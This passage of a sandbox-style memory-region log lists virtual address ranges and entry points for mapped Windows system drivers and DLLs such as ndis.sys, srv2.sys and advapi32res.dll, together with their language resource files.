0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9016 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9017 start_va = 0x1aef0000 end_va = 0x1af9efff monitored = 0 entry_point = 0x1af67000 region_type = mapped_file name = "srv2.sys" filename = "\\Windows\\System32\\drivers\\srv2.sys" (normalized: "c:\\windows\\system32\\drivers\\srv2.sys") Region: id = 9018 start_va = 0x1afa0000 end_va = 0x1afb1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "srv2.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\srv2.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\srv2.sys.mui") Region: id = 9019 start_va = 0x1aef0000 end_va = 0x1afc4fff monitored = 0 entry_point = 0x1af1e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 9020 start_va = 0x1afd0000 end_va = 0x1afd3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 9021 start_va = 0x1aef0000 end_va = 0x1afc4fff monitored = 0 entry_point = 0x1af1e0b0 region_type = mapped_file name = "netlogon.dll" filename = "\\Windows\\System32\\netlogon.dll" (normalized: "c:\\windows\\system32\\netlogon.dll") Region: id = 9022 start_va = 0x1afd0000 end_va = 0x1afd3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netlogon.dll.mui" filename = "\\Windows\\System32\\en-US\\netlogon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\netlogon.dll.mui") Region: id = 9023 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9024 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9025 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9026 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9027 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9028 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9029 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9030 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9031 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9032 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9033 start_va = 0x1aef0000 end_va = 0x1af50fff monitored = 0 entry_point = 0x1af00770 region_type = mapped_file name = "usbxhci.sys" filename = "\\Windows\\System32\\drivers\\USBXHCI.SYS" (normalized: "c:\\windows\\system32\\drivers\\usbxhci.sys") Region: id = 9034 start_va = 0x1af60000 end_va = 0x1af63fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "usbxhci.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\USBXHCI.SYS.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\usbxhci.sys.mui") Region: id = 9035 start_va = 0x1aef0000 end_va = 0x1af37fff monitored = 0 entry_point = 0x1af2acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 9036 start_va = 0x1af40000 end_va = 0x1af42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 9037 start_va = 0x1aef0000 end_va = 0x1af37fff monitored = 0 entry_point = 0x1af2acf0 region_type = mapped_file name = "drt.dll" filename = "\\Windows\\System32\\drt.dll" (normalized: "c:\\windows\\system32\\drt.dll") Region: id = 9038 start_va = 0x1af40000 end_va = 0x1af42fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "drt.dll.mui" filename = "\\Windows\\System32\\en-US\\drt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\drt.dll.mui") Region: id = 9039 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9040 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9041 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9042 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9043 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9044 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9045 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9046 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9047 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9048 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9049 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9050 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9051 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9052 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9053 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9054 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9055 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9056 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9057 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9058 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9059 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9060 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9061 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9062 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9063 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9064 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9065 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9066 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9067 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9068 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9069 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9070 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9071 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9072 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9073 start_va = 0x1aef0000 end_va = 0x1b00ffff monitored = 0 entry_point = 0x1afec040 region_type = mapped_file name = "ndis.sys" filename = "\\Windows\\System32\\drivers\\ndis.sys" (normalized: "c:\\windows\\system32\\drivers\\ndis.sys") Region: id = 9074 start_va = 0x1b010000 end_va = 0x1b020fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ndis.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\ndis.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\ndis.sys.mui") Region: id = 9075 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9076 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9077 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9078 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9079 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9080 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9081 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9082 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9083 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9084 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9085 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9086 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9087 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9088 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9089 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9090 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9091 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9092 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9093 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9094 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9095 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9096 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9097 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9098 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9099 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9100 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9101 start_va = 0x1aef0000 end_va = 0x1aef2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll" filename = "\\Windows\\System32\\advapi32res.dll" (normalized: "c:\\windows\\system32\\advapi32res.dll") Region: id = 9102 start_va = 0x1af00000 end_va = 0x1af10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "advapi32res.dll.mui" filename = "\\Windows\\System32\\en-US\\advapi32res.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\advapi32res.dll.mui") Region: id = 9103 start_va = 0x1aef0000 end_va = 0x1af61fff monitored = 0 entry_point = 0x1af47000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 9104 start_va = 0x1af70000 end_va = 0x1af7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 9105 start_va = 0x1aef0000 end_va = 0x1af61fff monitored = 0 entry_point = 0x1af47000 region_type = mapped_file name = "mrxsmb.sys" filename = "\\Windows\\System32\\drivers\\mrxsmb.sys" (normalized: "c:\\windows\\system32\\drivers\\mrxsmb.sys") Region: id = 9106 start_va = 0x1af70000 end_va = 0x1af7ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mrxsmb.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\mrxsmb.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\mrxsmb.sys.mui") Region: id = 9107 start_va = 0x1aef0000 end_va = 0x1af08fff monitored = 0 entry_point = 0x1aefb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 9108 start_va = 0x1af10000 end_va = 0x1af15fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 9109 start_va = 0x1aef0000 end_va = 0x1af08fff monitored = 0 entry_point = 0x1aefb610 region_type = mapped_file name = "eqossnap.dll" filename = "\\Windows\\System32\\eqossnap.dll" (normalized: "c:\\windows\\system32\\eqossnap.dll") Region: id = 9110 start_va = 0x1af10000 end_va = 0x1af15fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "eqossnap.dll.mui" filename = "\\Windows\\System32\\en-US\\eqossnap.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\eqossnap.dll.mui") Region: id = 9111 start_va = 0x1aef0000 end_va = 0x1aef7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 9112 start_va = 0x1ecf0000 end_va = 0x1eed8fff monitored = 0 entry_point = 0x1ecf15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 9113 start_va = 0x1aef0000 end_va = 0x1aef7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "peerdistsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\PeerDistSvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\peerdistsvc.dll.mui") Region: id = 9114 start_va = 0x1ecf0000 end_va = 0x1eed8fff monitored = 0 entry_point = 0x1ecf15f0 region_type = mapped_file name = "peerdistsvc.dll" filename = "\\Windows\\System32\\PeerDistSvc.dll" (normalized: "c:\\windows\\system32\\peerdistsvc.dll") Region: id = 9115 start_va = 0x1aef0000 end_va = 0x1af00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 9116 start_va = 0x1af10000 end_va = 0x1af69fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 9117 start_va = 0x1aef0000 end_va = 0x1af00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll" filename = "\\Windows\\System32\\WsmRes.dll" (normalized: "c:\\windows\\system32\\wsmres.dll") Region: id = 9118 start_va = 0x1af10000 end_va = 0x1af69fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wsmres.dll.mui" filename = "\\Windows\\System32\\en-US\\WsmRes.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wsmres.dll.mui") Region: id = 9119 start_va = 0x1aef0000 end_va = 0x1afcffff monitored = 0 entry_point = 0x1af82eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 9120 start_va = 0x1afd0000 end_va = 0x1afd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 9121 start_va = 0x1aef0000 end_va = 0x1afcffff monitored = 0 entry_point = 0x1af82eb0 region_type = mapped_file name = "mprddm.dll" filename = "\\Windows\\System32\\mprddm.dll" (normalized: "c:\\windows\\system32\\mprddm.dll") Region: id = 9122 start_va = 0x1afd0000 end_va = 0x1afd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mprddm.dll.mui" filename = "\\Windows\\System32\\en-US\\mprddm.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mprddm.dll.mui") Region: id = 9123 start_va = 0x7ffb15d80000 end_va = 0x7ffb15d8dfff monitored = 0 entry_point = 0x7ffb15d82b10 region_type = mapped_file name = "perfos.dll" filename = "\\Windows\\System32\\perfos.dll" (normalized: "c:\\windows\\system32\\perfos.dll") Region: id = 9124 start_va = 0x7ffb15da0000 end_va = 0x7ffb15daffff monitored = 0 entry_point = 0x7ffb15da5870 region_type = mapped_file name = "perfdisk.dll" filename = "\\Windows\\System32\\perfdisk.dll" (normalized: "c:\\windows\\system32\\perfdisk.dll") Region: id = 